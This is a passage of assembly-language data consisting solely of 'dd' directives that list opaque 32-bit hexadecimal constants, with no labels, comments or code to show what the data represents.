		dd 260C4B64h, 0F5E7D6B0h, 0D5AD117Dh, 0C53EB35Eh, 95ACE411h
		dd 0A011C0F3h, 0BBD90C02h, 0E0E5DAC9h, 0AB3190ACh, 4C17E8B4h
		dd 3E756340h, 2BB9FAF0h, 7810A726h, 2EC4186Bh, 313E2A95h
		dd 4ED195DCh, 0D527D5BCh, 0FCCCE2Fh, 114305DFh,	0C7D7346h
		dd 0F5D6F86Ah, 52DC1C02h, 5E6C65A2h, 173968C6h,	0D968E1F8h
		dd 0E92CD507h, 95E52488h, 9FF1133Eh, 0B9EC1D8Eh, 29249C19h
		dd 703C6DA1h, 29366589h, 56844DEFh, 8F1B85EDh, 0FF80805Ah
		dd 244207FAh, 97AB0DB7h, 0A18075Ch, 989AD589h, 9587E221h
		dd 0D550D8C0h, 9EE2F0ADh, 9BEA95A3h, 312294C4h,	54394E6Eh
		dd 9D613965h, 53490E44h, 6CC4C72Fh, 6C266D51h, 76DFD6DAh
		dd 72EF6D00h, 0FAAE9766h, 4FC33168h, 9AE53AFAh,	3FB94039h
		dd 0F2C5D6E4h, 6274AC07h, 2EA3689Ch, 52257575h,	0EA7BF7F1h
		dd 0FAF6783h, 17C752A0h, 0E04571FCh, 0DB617F86h, 3BB84949h
		dd 13F1F681h, 0C6AF60D3h, 0BE8A2A21h, 10151489h, 42950A1h
		dd 0A503F18h, 3E41700Ch, 88036EC2h, 0EA2F103Ah,	86FB22A7h
		dd 0DF1E649h, 34CA6D8Fh, 93C5FDB2h, 61EED568h, 9C4761CDh
		dd 0DE4AD503h, 82846A4Ah, 49371A16h, 331E4A5Fh,	0A5AE542h
		dd 7BAB202Bh, 0E69BFA40h, 0A9CE59B5h, 89048D51h, 8D3C556Ah
		dd 0A93100EBh, 814F5B6Bh, 81EF49B8h, 75D89DA3h,	0B5A50A9h
		dd 0B53397CDh, 5476A080h, 0E7394E76h, 0DE0F3DADh, 1A597C81h
		dd 4CA4BBC8h, 1FF5A18Bh, 4DCAEBBDh, 0C4C1ED18h,	0E8C063F4h
		dd 7150FC79h, 171E4C0Fh, 67717FA2h, 5A1CA9A7h, 4E8070B6h
		dd 0EE1DB38Ch, 0EC1DB5AAh, 5CF1C462h, 0F0838E10h, 0D002CEFBh
		dd 0F6B24B72h, 68703548h, 6A30A5A1h, 0F0C58060h, 22F93D67h
		dd 0F8855E07h, 3D7FCA3h, 7A6E3E38h, 1FB7F7BFh, 9FFC40F8h
		dd 0D5EC58D9h, 7D3A781Eh, 41AD4E32h, 0E0A2198Fh, 0A04869ADh
		dd 0D24C0FE2h, 0A3B2382Ah, 0CF48193Eh, 0FBAA5E37h, 0CD7B7301h
		dd 0E341F0F5h, 0F507650Ah, 53EFBEC0h, 0DE3C9F67h, 93C7EA95h
		dd 1C1DBF2Ah, 35DF6A07h, 0C2703AD8h, 0D8599518h, 4A5FFBE3h
		dd 0C62FEF9Fh, 6AAABE6Fh, 0BF1C2C21h, 375BCE6h,	2860612Ch
		dd 0F2DB7AEh, 988DD4DFh, 0ADB045AAh, 768D1E87h,	0F0FCE56Ah
		dd 0FB6DF879h, 0A5486744h, 7AD0A7F6h, 1DC66472h, 0AFD8A815h
		dd 315A8814h, 0F2FD2265h, 4C015E9Eh, 212FCC9Ah,	0B0D7E5CBh
		dd 2B295808h, 0F44FF0B8h, 0CAE17F06h, 0D2CD9B8Bh, 365912E7h
		dd 6DFF2F83h, 0EDDB2EE1h, 9261783Ch, 8DA9C79h, 0C385FD70h
		dd 3FB8E40Bh, 50AC4F69h, 79E7B947h, 0BE583A6Eh,	0BBB65FC5h
		dd 0CCB5167h, 0FC1E1444h, 0D14E4C55h, 0A9479FDBh, 0F3557C07h
		dd 1F832DCFh, 0AF46656Fh, 0B2D153C9h, 6637CF8Ch, 970703F1h
		dd 0C9C6EC14h, 685481Ah, 90053A84h, 0D9CDB436h,	5933FD2h
		dd 916DE3DBh, 70ED1A08h, 0EC4AB95Ah, 0C0F2A65Fh, 2D45B057h
		dd 2326BD5Eh, 5A8E585Dh, 0F52EABFh, 7DBAA7E2h, 6AFAD335h
		dd 4A8BB915h, 294DF47Dh, 31B2E8E0h, 71EEEA4Ah, 1D956C3Eh
		dd 4A02E4CCh, 3BBBE5CAh, 78B4A80Ah, 7533E532h, 0C8857663h
		dd 0C054B54Ch, 2B99B684h, 167F3FE7h, 0A52FA2ACh, 0E4B2E645h
		dd 0EEA22377h, 1B77141h, 22C03396h, 0B2C9C9D9h,	0CB98C4B0h
		dd 85F3B16Fh, 0BC1D0032h, 125D3C9Eh, 27CD04DFh,	5C570138h
		dd 97293C5Ch, 3EC05828h, 9E0E311Bh, 22A8A285h, 1C3CAC0Bh
		dd 0D3343F1Bh, 0A795079Eh, 7BCCD506h, 24957A19h, 2B8AFD16h
		dd 2EAD18A8h, 13F64B43h, 0B83C7890h, 10F5AC55h,	2019D375h
		dd 544B3755h, 6D847E1Fh, 83DC7CDBh, 75B4F72Eh, 0F0E3187h
		dd 5BFECEE9h, 142A2150h, 512BE6BAh, 6C148691h, 0CFBF66D1h
		dd 0FDAF093Eh, 0DE4D33AAh, 0FD307C28h, 15A32D36h, 43F1E35h
		dd 0A92D54FEh, 0B18354D0h, 0B35140BBh, 0E7D34590h, 8CBDFB16h
		dd 53253E34h, 6C3FCED1h, 8FFB6EA8h, 85B11136h, 0D260B801h
		dd 5E4D501Bh, 76D747BCh, 0AD680AEBh, 0CE25F2DEh, 88643210h
		dd 8DCADF81h, 67F5A727h, 0C861E03Bh, 0CA2510FCh, 17295254h
		dd 0E9F6C99h, 2E6E852Eh, 0DA27472Ah, 1514E74Dh,	66FE4EEAh
		dd 2A86E8B9h, 64DF3520h, 934BF739h, 0FC0F77Eh, 8D857465h
		dd 7EB59249h, 851B4B20h, 0B45AA4CDh, 74DCE8BAh,	0B48D5D78h
		dd 0A9950013h, 0E92EC0FDh, 0BB1F0FCCh, 0C1EF0B70h, 21DCDE12h
		dd 0C4A6E7E5h, 0B59DAC38h, 13A1D673h, 0CA1A1FFEh, 0F12D6024h
		dd 1394E9ECh, 60EA4AD1h, 0FC4DCA3h, 0E3CFC6D4h,	8445AE99h
		dd 65DB381Ch, 0D68F3588h, 61F7B0A3h, 72EA54F2h,	46B5818Bh
		dd 0E15685FAh, 522A5CE9h, 68376838h, 3E78214Fh,	6B6E269Bh
		dd 0CB56B452h, 2A5D7B6Ah, 0B2C9F244h, 0E3697FF9h, 0FEFC0FEAh
		dd 0D3ACD13h, 6D13997Ah, 0A59276Bh, 7F5FA8E2h, 0F9AB7015h
		dd 67ECE168h, 0EAC4A681h, 1DC09B9Bh, 40F9D662h,	0FCFCE5F3h
		dd 0E1E6B479h, 6483AFBCh, 0DCAD4334h, 79A8F21Eh, 0E7FA3F90h
		dd 0A57A0056h, 206727EBh, 0BB5B23E6h, 65C9972Bh, 20D8B416h
		dd 543D6D32h, 9CE76B06h, 0C1CF30BFh, 8A5BB545h,	84B7A8A3h
		dd 9B5CD80Ah, 0F3ECE0F3h, 50ABDA37h, 0C77035FBh, 0DFB0FC12h
		dd 5ED7C31h, 0B57A27B7h, 0EEFFD91Bh, 0A3BD5198h, 0C419B3B5h
		dd 9143E6D4h, 6841CF02h, 56ED2E95h, 7D763817h, 2B55112Ch
		dd 85F39C2Dh, 0BDC18168h, 9001A3E1h, 0F028852Bh, 2494A520h
		dd 7DE6BC24h, 0F6F9EC58h, 0BF1FFA72h, 85297687h, 6F69C3FFh
		dd 0BDB9BE3Ch, 71E19A7Eh, 0E29DE6AFh, 2C0840EAh, 0A1212D9h
		dd 96D69673h, 3EEF545h,	0AE593059h, 0FDE67D00h,	2A75739Eh
		dd 84F48582h, 0FAE6E003h, 19B58F2Ch, 1F0A28D0h,	9E4333Dh
		dd 0EE4BDB2Dh, 0B3A450D0h, 81962C8Eh, 8FD132FFh, 0FBE14A75h
		dd 27C342FCh, 0B4D65A8Ah, 36C7C4ACh, 86968E94h,	1DAFB174h
		dd 713CD10Dh, 3E1351C1h, 0E3444093h, 89D7D986h,	7D59CFA9h
		dd 0C7667655h, 1825030Bh, 41046FFAh, 731030Ch, 2FC9CCDBh
		dd 770BE1E0h, 78171A27h, 3E8A5F90h, 0B0C99ABDh,	184A68Dh
		dd 622368BBh, 29419D69h, 0C2CB2D72h, 15DEC43h, 46D308B2h
		dd 31B0A035h, 0C53D54D9h, 0B4ED266Bh, 208E12A7h, 7B2D269h
		dd 909DF63h, 0A06DFEBEh, 42F8581Eh, 9CEA1F4Fh, 5D2EEF7Eh
		dd 3382AF7Eh, 8ACF66E0h, 8AF0D168h, 0C5D405AFh,	0E9E444EFh
		dd 48EA58BEh, 0AAA11B67h, 622271A1h, 7BD5B639h,	2C0FE3E3h
		dd 189F3825h, 6D70B03Fh, 0EB84C8AAh, 6B266E57h,	0C37C106Fh
		dd 342D62A5h, 2D18076Ch, 96ECFD57h, 4BF31102h, 5D2E54D2h
		dd 505B28FBh, 0D5F53FA8h, 1F14083Eh, 0B838B03Ch, 115254A2h
		dd 920AFDC7h, 0F07BB4D3h, 0CC270176h, 75653750h, 17AE2B1Dh
		dd 4F9269B9h, 0B2AF570Eh, 0DCCC0310h, 86D54FDAh, 93451976h
		dd 6E3F5Fh, 1B05FC46h, 848144C3h, 8768CC29h, 39B4BC0h
		dd 3C7B6228h, 0DB1A4F07h, 9AF4C5DBh, 0CF62FA6Dh, 0AF546B6Fh
		dd 0CB6DBCCEh, 0F0785170h, 21FDF2C2h, 0A3C6E95Ah, 0DD9903B6h
		dd 175D4A2Eh, 9DAA5A92h, 0C4F601E7h, 7D385C9Dh,	87F1ECh
		dd 711D0B18h, 0A994ECB2h
		dd 59DEE2C4h, 0DF322E8Ch, 0EEB58131h, 0B0E7F362h, 0D68FA411h
		dd 56E76E2Ch, 3F015391h, 7E3731Bh, 0CE1E6B40h, 0B3D9C6F2h
		dd 0CD24A0B9h, 0F4E4414Ah, 9CE3FB60h, 0F03CFAD6h, 39D6164h
		dd 6EE6C313h, 7C0F06Ah,	0D6FC37C6h, 65EB333h, 0E9024F92h
		dd 90A09B69h, 46C6B35Eh, 0C5C43610h, 13BD2AEAh,	0E8749ECAh
		dd 870D4BB4h, 2557C5FEh, 16F26D35h, 0C5691B2Ch,	0BD8368AFh
		dd 0A972C15Bh, 7F0E59F0h, 8DE07D19h, 9D348A92h,	968E14B5h
		dd 20A5732h, 765D56B2h,	6F6D1DBAh, 49B11417h, 1F0701A0h
		dd 49EFDA02h, 1B5BBBC5h, 0C11CC745h, 1B25716Dh,	0BC521702h
		dd 391DFB8h, 382F71CAh,	0A18A8E2h, 8B593B35h, 45FAEE61h
		dd 21B2BE4h, 34D0061Fh,	7E9F80B5h, 37EAD7ADh, 0DFA22E2Dh
		dd 59F9BE8Eh, 80AB5437h, 0F979C6EFh, 50E1F81Ah,	0C4742E0Bh
		dd 7AC04167h, 731703FBh, 0F62CD3DDh, 9E9563ABh,	0FEA3FB6Bh
		dd 6B8731BAh, 0A968B598h, 0FBE07974h, 0B844C2A2h, 3078A51h
		dd 0B15DFF15h, 888D2570h, 0BAEEF912h, 0E7D34057h, 434A03DDh
		dd 17257936h, 0ED517134h, 0D2323FCBh, 9DF7595Eh, 570F50BFh
		dd 5BB387h, 0AB699021h,	6C24555Ch, 52E58D13h, 0ED13566Bh
		dd 725F0E46h, 0FCC85BD4h, 96A906C4h, 0A0D0FC37h, 56480AFDh
		dd 9DEBB6C2h, 6C1182B3h, 292846F8h, 0EDB17F0Ah,	0C607DDB5h
		dd 3FA48817h, 0F34B3577h, 69483444h, 0A8E8289Eh, 4401DBA1h
		dd 878F38A5h, 2F904409h, 0CB1A4C5h, 0A7A98E26h,	3D81FEF7h
		dd 2D3755D9h, 0EEF1E7EDh, 141D4E03h, 47C1E047h,	0DCA2B400h
		dd 93A8A300h, 0AF271D81h, 0E15B76BEh, 0B6A44D3Ch, 9D49FBC8h
		dd 0BF7DB048h, 0E9BCA974h, 4AC4F9CDh, 38576348h, 2B46931Fh
		dd 72F9097Fh, 6D2130DDh, 29DBB92Bh, 998DBFBAh, 0E2410F57h
		dd 5C89AA48h, 0DA98A2BCh, 0E42AC3EDh, 0FC5C816Eh, 0E29DD412h
		dd 4405FA5Fh, 0F2CD4643h, 0D16D3770h, 0A0291A9Eh, 6F5F5675h
		dd 9BA95A32h, 18AC9F2Eh, 0B41D5E0Dh, 0D5BE215Eh, 0EEBA4BF4h
		dd 6F12F9BCh, 8D529670h, 51F572C0h, 0A75B5B73h,	0E2734AEBh
		dd 55ED456Ah, 768D896Ch, 4F555C7Bh, 21A08BDAh, 8571DA3Ch
		dd 5F98EDC0h, 8A87898h,	4B6C119Dh, 8401641h, 0C135DA71h
		dd 3A97698Fh, 6F13D8ACh, 0D6D68FB4h, 52DD0FA0h,	593E95F8h
		dd 0BAB34989h, 87607A32h, 0CF4FE8B4h, 63B9FB8Eh, 0ABD2C9DAh
		dd 0AAAC2672h, 0E7E84EDCh, 60BE5103h, 1D373BADh, 0B2C8C4EAh
		dd 9883ADDEh, 0CFD857BBh, 77812F06h, 0BFC0BBC0h, 0EDFC4216h
		dd 0DE39B254h, 533F2AF5h, 0F27E3730h, 0A04DCCB8h, 355201F3h
		dd 1320466Ch, 0A07EB55Ch, 0A7B46819h, 0C7BCD9F9h, 522768F3h
		dd 4D5BC1BCh, 56718A27h, 0F69E709Ah, 0E8CD4F44h, 886CBF07h
		dd 0FE2A133h, 35226EADh, 0A3C719F7h, 0E49DA809h, 4DF20D24h
		dd 42A1FEDDh, 5C3EFC01h, 9D80A5D1h, 0C2F07D71h,	0A54239DCh
		dd 0E9206B4Ah, 109421F8h, 0F9CF078h, 0F5334C3Fh, 2E67DA0Dh
		dd 0CD8D83A3h, 0FB5146DBh, 0EAD22DA5h, 7025BBBFh, 0C41A5936h
		dd 34E4B3DDh, 0CB4479E4h, 86F1D5C6h, 2EF28AEh, 75CBF03Eh
		dd 17397551h, 0DBE9B916h, 0AFDAA39h, 68E7E625h,	13CAC3D9h
		dd 0B19AD34Fh, 0D819C540h, 0B2EC491Ch, 0F7B8A09Ah, 8E36EA33h
		dd 9ADC7C94h, 0CA522F51h, 0B45AE578h, 296BE69Dh, 0C0FC08ADh
		dd 63161598h, 0C82D800h, 307863FFh, 0D36EF111h,	0E889466Ch
		dd 4E33556Ch, 59BA948Fh, 0C149B462h, 699A081Bh,	0AC70D81Fh
		dd 9617230Eh, 85038FD3h, 0DCF24329h, 9B489D27h,	0FBD7F06Bh
		dd 44E0E592h, 0D7F96A18h, 0BE28B883h, 5A2271Ah,	6BC6FC65h
		dd 41DBA7F2h, 4B538C70h, 82E0F023h, 4EE31B3Dh, 496104E7h
		dd 9731029Fh, 9D5A76E6h, 15BB9B0Bh, 244BDC04h, 14CBB73h
		dd 5FC91273h, 0E558EA0Ah, 5BDDC3B8h, 617815EFh,	0E6540D4Eh
		dd 0E6FED110h, 902A56A7h, 0D28807BFh, 0D300AF8h, 554260FFh
		dd 6CAE79Ah, 77AD6AF1h,	5F7422AAh, 6229ACC3h, 88808E4Fh
		dd 5F3D6061h, 0EE3B1836h, 0EE5750B4h, 6E719A28h, 9D6178B4h
		dd 0C08B461Eh, 0C5E2BAC1h, 1DC0F604h, 485E07C1h, 4FD5F525h
		dd 20B90788h, 7A4B7137h, 1B733A6Ah, 3D197669h, 0B73BE58Eh
		dd 0E88F6F4h, 30D3B599h, 41288EFAh, 0DF16E7CAh,	0C038B938h
		dd 2E19291Fh, 221F8DE0h, 38005A3Bh, 0EEF06B7Eh,	638BB63Ah
		dd 2A9BB6E8h, 8E07E3D3h, 0CC9CA670h, 4941C090h,	967A55A2h
		dd 819A7598h, 0CC5BE54Dh, 0D49106C7h, 7234D2ADh, 0F5C7AB47h
		dd 5E1F8A9Ah, 0DA2972Fh, 4D8AE690h, 0E73D9CE6h,	6EBB359Eh
		dd 6E887C76h, 0B75D1AECh, 710B3687h, 0CAA1226Ah, 0B2168FADh
		dd 606FF570h, 287E0F5Bh, 8578299h, 53330317h, 0EF1274B7h
		dd 4E78B071h, 274A0930h, 180587FAh, 0EF9A2B81h,	0EBC7E5B3h
		dd 1D6070F1h, 0BA7C3D1Ch, 0D1B1136Bh, 0CBDBFE69h, 8038A73Ch
		dd 24940832h, 0A1B9CC0h, 59D75B5Dh, 0C344DD5Ah,	474BC38Bh
		dd 14DE8C9Eh, 1F86EE28h, 0BF707CD0h, 648BC230h,	0F751FEEFh
		dd 6D079BEFh, 0F97A65BCh, 7D4E1AF9h, 0F6A14E12h, 0CF81575Ah
		dd 6F81C741h, 0FAE1AACEh, 4A00CEF9h, 7676BECFh,	7CDBCB2Bh
		dd 0B33E3B2Eh, 0A9B89F0h, 0FFAF034Ah, 6CA28EA3h, 4B0BA500h
		dd 0B155688Ah, 42DBBDB8h, 0C6C14161h, 78B43730h, 0AB4481A3h
		dd 59B43CB2h, 7E3270D9h, 0B2C3EDACh, 0D3A5B8F3h, 0C0FF5F7Eh
		dd 365B73AAh, 5E11BC72h, 0F2F8F9DFh, 91411BA4h,	355DE552h
		dd 1BF1C6Bh, 4465F1F5h,	0BC7D9E0Fh, 2224E143h, 2F3DB08Ah
		dd 0F8F4A967h, 36F0FC66h, 0BD5848C0h, 0F0B4961Ch, 2739746Dh
		dd 154376EFh, 0E457EFF3h, 0CF4AF168h, 4B94DAE0h, 0BDB8F2FFh
		dd 0AE364372h, 0F8D37CEFh, 4A351CA1h, 9D7D2473h, 6BE944D2h
		dd 5EC6DBEEh, 0F725B58Bh, 43F125A3h, 4FB7DDDFh,	72E0701Dh
		dd 381675BDh, 50057BD1h, 4485685h, 711E686Bh, 713432D3h
		dd 8DD35EDFh, 27D4346Dh, 0F5953C5h, 376B201Ch, 28BE07B5h
		dd 0B5F6E778h, 85F9F773h, 2609F078h, 0F1C3452Bh, 767A1E08h
		dd 1D7AB25Ch, 3F65EFEAh, 0EF81E8D0h, 0AF75EFF3h, 8BD2B9DFh
		dd 6AE06E77h, 5BDE1A9Ch, 15A32CBAh, 7EE4A863h, 0D719D1D6h
		dd 7452FCA3h, 74EB3A68h, 0FB2036C1h, 0DC9ECB46h, 63ED83A2h
		dd 3D0D7E74h, 5B8AE311h, 0A5A3275Bh, 147DB176h,	0E94F7655h
		dd 2E79B77Ah, 4A5516DBh, 0EBEE59E5h, 85D6D6A8h,	2EDE28B5h
		dd 743874DBh, 0C02DE57Dh, 9CD89A71h, 37B1BB44h,	87B7D5BEh
		dd 3A1D164Dh, 0CED2AC5Fh, 0CD1CBED3h, 0B0C06047h, 0D9F53216h
		dd 24B84A43h, 9D6FA2CDh, 0F2CEADADh, 9EAE54D5h,	8F3B8549h
		dd 0CCCD040Eh, 0D27AE2E2h, 4FE2BC3Ch, 0FC0CBD67h, 13065DB5h
		dd 0AFBD7C1Eh, 76380B45h, 0F3536AF8h, 2B97E7C6h, 0FD7ADC85h
		dd 4EAF76E8h, 0C94CE890h, 0B824F61Dh, 9B0DF38h,	69676E16h
		dd 698F6F02h, 6D7AA273h, 32E5CCE8h, 0BF4B371Ch,	8D764017h
		dd 3F63F50Ah, 0D5A2910Fh, 6DE6F2ACh, 0C87CDD30h, 1B9EDD0Dh
		dd 0EDD4842Fh, 397EADB4h, 9AEC0FAAh, 0C1E4A675h, 465351B8h
		dd 9263D5E7h, 0B4A8C0B8h, 0F8A069DAh, 4AED06AAh, 81A7E4C4h
		dd 36110994h, 0B7FB75ECh, 0FC1F02F9h, 3F78A5D5h, 6B45CE3Ah
		dd 0F7A1B6Ah, 9C87981Eh, 6D1E3BFCh, 0EB52ACD0h,	41665DF5h
		dd 8BD3FC64h, 0E767BD23h, 98CA5BD1h, 228373DCh,	0E8E14063h
		dd 0CB5EAC95h, 719C878Ah, 27EDE839h, 0EF16EFC4h, 114E9DCEh
		dd 0B2A049DBh, 0DFC77CA5h
		dd 0FC3E7E36h, 68F0185Fh, 0A0D71C07h, 0DF824620h, 3E7BBE4Ah
		dd 0F1629D02h, 0CA203785h, 0F4372AC5h, 3E0B1443h, 95ABA328h
		dd 3E9516F4h, 20935C92h, 5B9C70AAh, 3A445F7Dh, 39B2DA1h
		dd 0DB5A3EAAh, 0E6537073h, 6E6BA2EDh, 4CA14A05h, 8206D00Dh
		dd 0A9A40969h, 0FEB57AA1h, 0BA3800B5h, 2156FA45h, 1FED8046h
		dd 77849FCFh, 73C27F73h, 0D3546643h, 0A6B39A36h, 0EA32FD18h
		dd 3408BF03h, 9F71DBDFh, 95BB1BE8h, 5BEEA454h, 46049744h
		dd 0B2F86383h, 0F13B46D8h, 441DAF20h, 0B8AFD068h, 5E82D08Dh
		dd 0DBA7985Bh, 0C8D88DFCh, 0BDD76D12h, 0A75049BBh, 762C5AC0h
		dd 22C704F6h, 4DD3CDF0h, 4BC60092h, 0D7ED86CDh,	0F0EF70A7h
		dd 43E2B601h, 9CB443AFh, 0F069B2D8h, 371F2385h,	0EAAD3B46h
		dd 0B025FB3Dh, 892ADDBh, 69B78EF2h, 325681DAh, 45517CF9h
		dd 0C707A8A8h, 24F66DADh, 1A8B2C27h, 0B2A296ABh, 80AB73C4h
		dd 94B0399Ah, 1F301EF3h, 0A24AA12Ah, 556102F9h,	66876F7h
		dd 551A748Bh, 2B071037h, 0F2D94740h, 0D4E84394h, 0E829BFD6h
		dd 0B46F2D68h, 0E61A16EBh, 609B8DA5h, 8C8F36D1h, 0B99A06FFh
		dd 77B4B8A3h, 7A2F472Fh, 0DACF6ABDh, 9F43D76Eh,	0A0177A38h
		dd 56302A7h, 503BC150h,	933DF61Bh, 459A7BB1h, 0EAAB5F0Fh
		dd 0DAB7F7BAh, 67C2EF76h, 5F2C5542h, 0A56897DAh, 66BCE6C1h
		dd 4F9C6D41h, 2294A5D1h, 0C8C0C521h, 0D3EFD6ABh, 72762F47h
		dd 183D1540h, 3421A93Fh, 509EA259h, 9BB448BFh, 0AC148E9h
		dd 0FD57146Bh, 0D25A3BF3h, 4F1B4FE2h, 37CF292Bh, 0F9677EFDh
		dd 7E0FAA0Ah, 6BB8C1Bh,	5E966C0Ch, 0E29AD646h, 1638E3ABh
		dd 6834F588h, 5C17EAAFh, 40DF08DCh, 0FF75BB4h, 7D2BA2FFh
		dd 0F9AA1B22h, 0EC06DBADh, 52B200AAh, 552D28A2h, 0A3737F2Fh
		dd 4045206Eh, 0F51DA9BDh, 0C3F1BEAAh, 105BEDA5h, 0F81FCEDEh
		dd 0F259438h, 977BF86Dh, 8A5BFAD0h, 29EA9CE7h, 0AB316EA1h
		dd 9F2FE2D9h, 6F3FCD64h, 99CF270Eh, 0BF239EFCh,	73B8F52h
		dd 0B09797E2h, 60F5FE1Dh, 5F17FD5Bh, 6A8C3CCh, 0FD66E24Fh
		dd 0FB3AAB80h, 0CD89547Eh, 4F939057h, 6618F5F5h, 0BF5CB44Dh
		dd 9F95145Ah, 0ADB5511Eh, 1C2DF6B2h, 0AB43999Eh, 0ACE929AAh
		dd 1C27C8A8h, 4E55A362h, 6F9CFEC4h, 0D7CD8BB1h,	2104899Dh
		dd 90C0F5Eh, 0CBB58EDCh, 0D67D323Ah, 0DE17855Eh, 0F6E7500h
		dd 28F41D66h, 0AB2FB2ABh, 43D93777h, 14F0CC6Fh,	92D9E7E0h
		dd 0AE66B297h, 2F86FE42h, 0A6F6443Bh, 0F204A67Dh, 25D286D2h
		dd 0FE555056h, 8160F850h, 42D12792h, 0EEDD4026h, 0AA61F5CDh
		dd 0D7BC477Dh, 0AAAAA972h, 8F2EDAF0h, 72F7E300h, 0B7E7B358h
		dd 0F312AD4h, 9D0FB00h,	0AEFBEAAEh, 8397AE28h, 8DC8DE5Ah
		dd 333ACA3Ch, 0E2B181F4h, 62E0F3BFh, 0ABB51102h, 5FE5539h
		dd 0CF14C765h, 3E0DFE81h, 0DDDBB382h, 0EF4BA037h, 0DB3DE40Bh
		dd 0AABF2466h, 0F9D4F6BDh, 93B9D617h, 5737AB5Ch, 0B998CC59h
		dd 38DF1817h, 0B9387620h, 0B73DB4BDh, 0B14B9625h, 7E8C733Eh
		dd 0FB2559DEh, 70D72EEh, 0A85A3DFCh, 0A94DCD56h, 0A76D74C6h
		dd 1F8CA84Bh, 588CCAE0h, 7F7ABC2Eh, 5DF656BBh, 0DD6E1D4Dh
		dd 0D4FBBEBFh, 6C5D9249h, 898F00Bh, 63E0A244h, 0B58DB88Dh
		dd 0AE3FCF88h, 65A3BB3Ah, 0A10EFF1Bh, 86D907F3h, 81B651E4h
		dd 2B3AB8C5h, 0E28B3485h, 0FDB41C74h, 0F8A2357h, 0E1A8CED8h
		dd 2E110700h, 8302E5Bh,	24F188E3h, 86B36C8Eh, 4C5FAC2Eh
		dd 7B73BC6h, 0DF6B805Bh, 0AFA4F078h, 7163FEB3h,	1D4D14B4h
		dd 0B9A80C62h, 959B81B7h, 82748D80h, 0D7764E1Eh, 1041188Fh
		dd 0D4C6BF51h, 3787E1B0h, 8AF20985h, 57BCACDFh,	0DD45038Fh
		dd 0F05F00D3h, 49D36C53h, 12F4383h, 0ED86664Dh,	9AA32AC5h
		dd 0EDEEAFE1h, 5D2E6FEEh, 821F81BBh, 385862E0h,	0B987702Fh
		dd 28F3F083h, 0E3649D2Bh, 0BE87E367h, 0FDC03818h, 0CA7CBC21h
		dd 0FADB5E1Bh, 0C2CF1D52h, 49BEFA04h, 0BA938738h, 339F68F6h
		dd 2BE74B68h, 0F8FC1F54h, 74087A79h, 9633C7D3h,	29BB1600h
		dd 0D9FAE3D2h, 0DB2ACD97h, 573002BBh, 3556D528h, 6AF8B363h
		dd 7C3EE729h, 0D3B5E2DCh, 0D7333929h, 0A3D3954Ah, 0D17DAED6h
		dd 616B8104h, 0B223E6A8h, 0F0784E29h, 0DEAFD1FEh, 3F02AF50h
		dd 22A59677h, 0ACC8464Dh, 0A07D7236h, 0F6DE1D8Dh, 4185FC5Dh
		dd 92D0E29Bh, 0F4A2F6C5h, 1F837E7Dh, 0A16F2AF3h, 45FE90D4h
		dd 0B17D6ABDh, 0A3FB8FE8h, 0AFCFD7F2h, 0D70FC1C6h, 55F9069Ch
		dd 28245620h, 8FCDC617h, 0C1DE7EE0h, 6FBBF7ADh,	0D7EFB0C8h
		dd 0B705A281h, 0FA80775Fh, 5DAD3430h, 0ED6851FDh, 1D0FBF01h
		dd 0DC80B518h, 4B45FE90h, 4FBB5853h, 0BCCAD2AFh, 7DB53ECBh
		dd 974AFD19h, 4343768Dh, 6E84E2AFh, 9C085E75h, 2E1F8985h
		dd 0CF9C893Ah, 5E5E35BEh, 0D04AF507h, 0B3D41532h, 2D3E094Dh
		dd 0E2D39685h, 75F12B1Dh, 1B028A67h, 0E77164B4h, 0A9DA2455h
		dd 0AB72F801h, 7C3910FCh, 3F1A24A6h, 35C91FEFh,	0B9BC094Ch
		dd 97427D3Fh, 0B4462A41h, 6FD336D0h, 879A58AFh,	1CB5E157h
		dd 262E6455h, 836FE25Bh, 0F48257B9h, 30585297h,	17E9A6Eh
		dd 0A21913C6h, 4C9D64CBh, 57BB39F1h, 0EC422CFFh, 0AB44CC88h
		dd 97E8712Ah, 56903C0Fh, 5A766A49h, 9C87E0BFh, 0A890DA1h
		dd 5545AB6Dh, 4C0F8F3h,	11AEDDF8h, 107FD91Ah, 0C2D016A7h
		dd 0E02BEB8h, 5F078113h, 0A870F03Ch, 2A0622E3h,	0EF552EBAh
		dd 98982C3h, 24627FBEh,	0D6CACE7Eh, 9EF00252h, 2B23546Ch
		dd 635BDB94h, 0EAF4BE28h, 0D7F945D5h, 227405DAh, 8E3D1EC3h
		dd 0CA957959h, 0BF01B45Ah, 0DCD0A47Bh, 32F1C5D3h, 14DCF3B7h
		dd 0E5A3C984h, 106C6529h, 12222F5Dh, 368FF2D3h,	0ADF5D260h
		dd 78DD0F56h, 0EF1EB840h, 0DEEACAABh, 4B9E8E19h, 181B80D7h
		dd 0CB3C02BFh, 1F0E3391h, 30E00625h, 0A2B70577h, 339A4166h
		dd 0FCC09727h, 6604E80Ah, 6FF40917h, 0A02D19BBh, 0D0282302h
		dd 7B8A003Bh, 0A1550637h, 98E34032h, 0E1302729h, 98EA3122h
		dd 11873027h, 0B8A202FAh, 3482708Dh, 37A7E310h,	68A1A3A8h
		dd 0C71E8A12h, 6A2989AAh, 31C68C31h, 0A3142A19h, 634F9903h
		dd 542A9BCCh, 58E8F03Dh, 0B8015EF7h, 0ED2F3597h, 0E6BC119Fh
		dd 1DDF1BC9h, 9F60CB5Dh, 80AA7E77h, 2895BD66h, 4F9B569Bh
		dd 732658B9h, 1EC49033h, 7E3CD288h, 991F26A7h, 0A573C763h
		dd 2C736F15h, 938C5415h, 0B7DD986Bh, 1C5F95E9h,	6B3B3601h
		dd 5EAE9D2Fh, 16DDDE21h, 0BBFE75EBh, 54C04E3Dh,	10EA0D2Eh
		dd 0F0FDCBDFh, 98BF0785h, 1DC094ACh, 0D36BF0C8h, 1F6AB4BBh
		dd 0D6202E7Ch, 30ABB11Dh, 0EB573653h, 3D466874h, 0D562D5A6h
		dd 0AEC42F02h, 5739B686h, 3EC4767Eh, 0F2FDBB62h, 2A905F02h
		dd 0FC51CA84h, 66734A97h, 0B23568BFh, 0D057784Dh, 0B3820DD2h
		dd 0CD2F68C7h, 2D15490Dh, 0B772FB23h, 9BDF0FCBh, 3C5FCD1Ah
		dd 0B4947491h, 0BC7DFE0Fh, 21CAAD3h, 25C37D90h,	544E6D8Fh
		dd 0DD1BA1D2h, 5D1F1BF8h, 0BA8A4E4Ah, 0E4EAE5C3h, 6C40B2D1h
		dd 1E5F4A85h, 35FAD015h, 0E8565DA9h, 0E075DFDFh, 0FECBF8DAh
		dd 0DA8B412Ah, 4DB7F7AEh, 76FA2990h, 0EDC95160h, 0AEC683DFh
